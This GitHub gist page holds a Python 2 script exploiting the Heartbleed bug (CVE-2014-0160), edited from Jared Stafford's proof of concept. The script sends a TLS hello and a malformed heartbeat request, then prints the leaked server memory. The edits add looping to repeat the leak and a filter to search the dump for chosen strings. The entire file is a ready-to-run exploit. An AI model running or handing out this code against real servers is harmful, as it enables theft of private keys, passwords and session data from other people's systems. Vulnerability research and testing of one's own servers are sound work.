Created
May 2, 2014 13:09
-
-
Save caioluders/f7635a2100272d0599ed to your computer and use it in GitHub Desktop.
CVE-2014-0160 Edited by geolado | g3ol4d0 Changes : # 1 - Add loop and filter options # 2 - No longer printing pure hex and other garbage stuff ... # 3 - Not repeat
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) | |
# The author disclaims copyright to this source code. | |
# Edited by geolado | g3ol4d0 | |
# Changes : | |
# | |
# 1 - Add loop and filter options | |
# 2 - No longer printing pure hex and other garbage stuff ... | |
# 3 - Not repeat | |
import sys | |
import struct | |
import socket | |
import time | |
import select | |
import re | |
import os | |
from optparse import OptionParser | |
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') | |
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') | |
options.add_option('-l', '--loop', type='int', default=1, help='Loop times') | |
options.add_option('-f', '--filter', type='string', help='String to Filter the hex dump') | |
def h2bin(x): | |
return x.replace(' ', '').replace('\n', '').decode('hex') | |
output = [] | |
hello = h2bin(''' | |
16 03 02 00 dc 01 00 00 d8 03 02 53 | |
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf | |
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 | |
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 | |
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c | |
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 | |
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 | |
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c | |
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 | |
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 | |
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 | |
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 | |
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 | |
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 | |
00 0f 00 01 01 | |
''') | |
hb = h2bin(''' | |
18 03 02 00 03 | |
01 40 00 | |
''') | |
def getTerminalSize(): | |
line = os.popen('stty size', 'r').read().split() | |
line = map(int , line) | |
return line | |
def hexdump(s): | |
t = getTerminalSize()[1] | |
for b in xrange(0, len(s), t): | |
lin = [c for c in s[b : b + t-2]] | |
hxdat = ' '.join('%02X' % ord(c) for c in lin) | |
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) | |
# Filter , if find , print all the string | |
if (opts.filter) and (opts.filter in pdat) and (pdat not in output) : | |
print ' %s' % (pdat) | |
output.append(pdat) | |
if (opts.filter is None) and (pdat not in output) : | |
print ' %s' % (pdat) | |
output.append(pdat) | |
def recvall(s, length, timeout=5): | |
endtime = time.time() + timeout | |
rdata = '' | |
remain = length | |
while remain > 0: | |
rtime = endtime - time.time() | |
if rtime < 0: | |
return None | |
r, w, e = select.select([s], [], [], 5) | |
if s in r: | |
data = s.recv(remain) | |
# EOF? | |
if not data: | |
return None | |
rdata += data | |
remain -= len(data) | |
return rdata | |
def recvmsg(s): | |
hdr = recvall(s, 5) | |
if hdr is None: | |
return None, None, None | |
typ, ver, ln = struct.unpack('>BHH', hdr) | |
pay = recvall(s, ln, 10) | |
if pay is None: | |
return None, None, None | |
return typ, ver, pay | |
def hit_hb(s): | |
s.send(hb) | |
while True: | |
typ, ver, pay = recvmsg(s) | |
if typ is None: | |
print 'No heartbeat response received, server likely not vulnerable' | |
return False | |
if typ == 24: | |
hexdump(pay) | |
return True | |
if typ == 21: | |
hexdump(pay) | |
return False | |
def main(): | |
if len(args) < 1: | |
options.print_help() | |
return | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sys.stdout.flush() | |
s.connect((args[0], opts.port)) | |
sys.stdout.flush() | |
s.send(hello) | |
sys.stdout.flush() | |
while True: | |
typ, ver, pay = recvmsg(s) | |
if typ == None: | |
print 'Server closed connection without sending Server Hello.' | |
return | |
# Look for server hello done message. | |
if typ == 22 and ord(pay[0]) == 0x0E: | |
break | |
sys.stdout.flush() | |
s.send(hb) | |
hit_hb(s) | |
if __name__ == '__main__': | |
# Loop POG ASHDUSADHSD | |
# while > for | |
opts, args = options.parse_args() | |
i = 0 | |
while i < opts.loop: | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment